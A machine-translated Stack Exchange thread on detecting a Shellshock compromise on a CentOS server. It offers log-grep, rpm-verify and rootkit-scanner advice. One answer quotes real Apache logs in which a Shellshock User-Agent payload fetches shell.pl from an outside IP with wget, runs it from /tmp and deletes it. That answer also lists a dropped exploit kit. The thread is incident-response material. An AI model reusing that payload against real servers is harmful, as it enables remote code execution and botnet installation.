Shellshock: Як дізнатись, чи порушено мій сервер + підозрілі файли


18

Три питання, на які я сподіваюся, хтось може допомогти відповісти:

  1. Як дізнатися, чи мій сервер вже порушений через помилку Shellshock?
  2. Якщо це було порушено, чи є певна папка, в якій я повинен шукати шкідливі файли?
  3. Як виглядає шкідливий файл?

Я працюю CentOS 6, стек LEMP

Відповіді:


36

Як дізнатися, чи мій сервер вже порушений через помилку Shellshock?

Ви цього не робите. Ось ідея вразливості безпеки. Якщо вам довелося натиснути "Впустити сухарі"? ОК / Скасувати, це не буде великою вразливістю.

Можливо, вам пощастить перевірити журнали своїх векторів атак, але враховуючи, що так багато служб є вразливими, і не всі вони реєструють кожен доступ, швидше за все, неможливо знайти атаку.

Якщо це було порушено, чи є певна папка, в якій я повинен шукати шкідливі файли?

Ні, шкідливий файл може бути де завгодно.

Звичайні руткіти встановлюються в /rootабо /або в /tmpодному з бінарних контурів, але насправді вони можуть бути де завгодно. Вони можуть мати ім’я, схоже на реальну службу або щось "важливе", схоже на " IPTables" або " kernel-bin", але вони також можуть бути випадковими рядками символів або тим самим іменем, що і справжній двійковий (просто в інший шлях). Ви можете помітити дійсно очевидне завантаження руткітів /etc/rc.localабо встановлення з'єднань через netstat -neopa. Шукайте підозрілі назви процесів у top -c.

Менш поширений і набагато складніше знайти руткіт замінює бібліотеку або завантажується як бібліотека shim та перехоплює системні виклики. Це майже неможливо знайти, якщо ви не напружите / простежите кожну річ, що працює у вашій системі, і не порівняєте поведінку з очікуваною поведінкою відомої системи або вихідного коду.

Простіше перезавантажити систему було б швидше, простіше та більш виправдано.

Як виглядає шкідливий файл?

Можливо, як і будь-який інший звичайний бінарний або бібліотечний код ELF. Це також може бути сценарій.

На закінчення, якщо ви думаєте, що існує можливість, що ваша система була порушена, поводьтеся з системою так, ніби вона порушена, і вживайте необхідних заходів.


14
+1 "Впустити сухарі?" З іншого приводу ... якщо ви бачите щось з назвою "IPTables" в Linux, будьте дуже підозрілі. UNIXian - це CapsPhobic.
єпископ

якщо ви думаєте, що існує можливість, що ваша система була порушена, поводьтеся з нею, як би вона була порушена, і вживайте необхідних заходів. Це означає, що кожна можлива система, яка bashвстановила мережевий кабель, підключена, правда?
Федеріко Полоні

@FedericoPoloni Тільки якщо хтось може отримати доступ до вашої оболонки через мережу. Але в іншому випадку ви абсолютно праві.
scai

@FedericoPoloni Я не впевнений, що це мудрий вибір, тому що мені доведеться постійно відключати всі системи, оскільки я ніколи не можу бути на 100% впевнений, що вони не були порушені, і серйозно ніхто не може бути впевнений, що їхні системи не були порушені, якщо тільки вони є дуже оптимістичним idi * t. Якщо у вас є підозра на те, що ваша система не поводиться так, як слід, вам слід вивчити її та її мережевий трафік, бажано з ОС CLEAN. Я не знаходжу жодних доказів підробки, вам не доведеться вживати заходів поруч із фіксацією отворів. Інакше нам доведеться постійно перевстановлювати ВСІ системи 24x7!
Френк Уоллер

@FrankWaller Я повністю згоден. Існує завжди віддалена можливість , що система була зламана , і зловмисник досить досвідчений , щоб не залишити жодних слідів, але ми не можемо перевстановити 24x7 , щоб задовольнити цей випадок.
Федеріко Полоні

21

оболонка не є хробаком, тому файлів не потрібно шукати. Shellshock - це спосіб атакувати мережу, щоб отримати вхід. Потрапивши всередину, хто знає, що зробить нападник.


3
Ця відповідь здається мені трохи заплутаною - можливо, вона була поспішала поспіхом, або замість відповіді повинна бути коментар. Звичайно, це не черв'як (це вразливість, не шматок шкідливого програмного забезпечення), але не ясно, чому ви вважаєте, що це актуально, або чому це означає, що "файлів не потрібно шукати". Shellshock - це не спосіб напасти на мережу; це спосіб прорватися до машини. Це напад на машину, а не на мережу.
DW

2
@DW Наданий дуже лаконічний, але чітко у відповідь на стурбованість ОП is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

Я бачив одну спробу використання помилки, яка встановила б бот IRC як /var/tmp/x. Але загалом не потрібно шукати конкретних файлів, оскільки вони можуть бути де-небудь або ніде.

Якщо ви отримаєте компрометацію через веб-сервер, то будь-який новий файл або процес, що належить користувачеві веб-сервера, буде підозрілим.

У випадку, якщо зловмисник використовував спочатку bashпомилку для входу в систему, а потім - локальну вразливість root, її виявити майже неможливо.

Подивіться також на подібне запитання .


+1 для ідеї власності користувачів веб-сервера
Xan

4

Я відповів би на відповідь suprjami і сказав, що якщо ваша система є вразливою, то слід ставитися до неї як до компрометованої.

Якщо ви запускаєте apache, ви можете перевірити журнали на спроби вторгнення Shellshock за допомогою наступної команди:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Ця команда витягує всі рядки, що містять "cgi", з журналів доступу Apache (за замовчуванням називається access_log, access_log.1, access_log.2 тощо), а потім передає її в egrep з регулярним виразом.

(Джерело: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Зауважте, що для конфігурації Apache за замовчуванням це покаже лише атаки в цільовій URL-адресі та в заголовках "User-Agent" та "Referer". Атака в заголовку типу "Cookie" або "X-Ploit" не буде реєструватися.
Марк

1
@ Марк Абсолютно, я повинен був це сказати.
Ральф

1
Звичайно, перше, що зробив би будь-який поважаючий себе нападник, - це стерти будь-які натяки на атаку з журналів ... саме тому журнали повинні бути одноразовими і віддаленими!
Jörg W Mittag

4

Оскільки для Shellshock існує декілька векторів нападу, деякі з них поки невідомі широкій публіці або спричинені користувацьким сценарієм CGI, не існує певного способу сказати, чи є у вас компрометація чи ні.

На додаток до звичайного підходу "давайте подивимось, чи змінилися деякі системні файли чи щось інше підозріле відбулося останнім часом", можливо, ви хочете слідкувати за поведінкою вашого сервера.

  1. Чи раптом набагато більше мережевого трафіку?
  2. Чи сильно змінилося використання процесора / пам'яті?
  3. Що-небудь з'їдає дисковий простір або викликає більше вводу-виводу набагато більше, ніж зазвичай?
  4. Чи netstatвідображаються дивні мережеві з'єднання чи ps auxпоказуються процеси, які ви не впізнаєте?
  5. Ваш сервер раптом надсилає набагато більше електронної пошти, ніж раніше?

Якщо у вас працює належний моніторинг стану сервера (наприклад Zabbix), він також може допомогти вам з’ясувати порушення безпеки. Ви також можете порівняти суми MD5 / SHA системних файлів з відомою гарною резервною копією.

Просто в основному дійте так, як ваш сервер був порушений і досліджуйте все, про що ви можете придумати.


4

Мені просто приємно було прибрати компрометовану старішу систему Плеска. Перше, що його віддали - це численні процеси, які почали прослуховувати ряд портів та інші, які намагалися завантажити код з оригінального сервера сканування.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Після журналів я з'ясував, що кінцевою діркою був cgi_wrapperсценарій, те, що повинно було захищати та захищати систему, - це те, що насправді вирвало отвір у захисті. Ось кілька ліній журналів із зондів та успішної атаки:

Це рядки з access_log, оскільки це лише зразок, зверніть увагу на 200 у двох рядках, а в інших - 404. Не потрібно турбуватися про лінії, які мають 404, оскільки вони не досягли успіху, ті з 200, проте зробили. Шаблон цих атак тут завжди однаковий: 1. знайдіть вразливий скрипт cgi, використовуйте оболонку експлуатування для завантаження та виконання сценарію Perl, видаліть сценарій perl ще раз. Сценарій perl фактично завантажує деякі вихідні файли (tgz), компілює їх і запускає, з того, що я бачив, вони включають щонайменше задню панель і механізм автоматичного оновлення, плюс те, що схоже на подвиги, щоб спробувати отримати підвищені привілеї виконання. Всі початкові сценарії фактично виконуються як користувач, наданий обгорткою, тоді як пізніші сервіси запускаються з PPID 1 (запускається з кореневого процесу)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

І тут відповідні рядки помилок_логів:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Файли, завантажені в / tmp Як можна здогадатися, у мене немає файла bot.pl, оскільки він видаляється відразу.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Через деякий час я помітив ssh-з'єднання з різних місць, таких як Китай, які зазвичай так багато не відвідують наш сервер. Я зашифрував bash як екстрений захід (було б непогано мати доступні джерела виправлень на веб-сайті FSF, а не лише справді OLD джерела та патч-файли (один з яких спочатку не застосовувався правильно). Система запланована на повну протріть зараз, тож якщо хтось шукає щось інше про атаку, ви можете запитати, але зробіть це незабаром.


3

Ця відповідь особливо не стосується Shellshock, але для будь-якої системи ви можете вважати, що вона є компрометованою

друга примітка: ви не можете бути впевнені, що відновилися з порушеної кореневої системи. Ваша єдина дія - знищення та повторне надання системи

Спробуйте отримати чисту статичну збірку rpmі запустити команду rpm --verify --all. Він розповість, які файли, що належать до пакету, були змінені. Але оскільки ви можете запустити його на компрометованій системі, ви можете не довіряти повністю результату. Тоді ви можете просто зробити a, rpm -qaщоб отримати список пакетів, відтворити іншу систему з тими ж версіями пакунків, а потім find / -type f |xargs -r -n 100 md5sum |sortна обох системах і побачити, чим відрізняється. Крім того, якщо ви керуєте своєю системою належним чином (тобто не встановлюйте нічого вручну за межами / opt або / usr / local / bin чи іншого некерованого місця), ви можете шукати всі файли у вашій системі, які не належать до пакету find / -type f -exec rpm -qf {} \;. Він повинен показувати помилки для невідомих файлів. Я дозволяю вам не показувати позитиви як вправу ;-)

Щоб робити те саме періодично з криптографічним доказом, є інструмент, Tripwireякий називається безкоштовною версією. Він старий, але робить свою роботу. Новіша альтернатива є AIDE, але вона не використовувала криптовалюту, коли я дивилася на неї років тому.

Є кілька інструментів, які можуть допомогти. Наприклад, шукайте пакет rkhunter. Він сканує ваш комп’ютер на предмет відомих кореневих наборів інструментів та експлуатованих файлів.

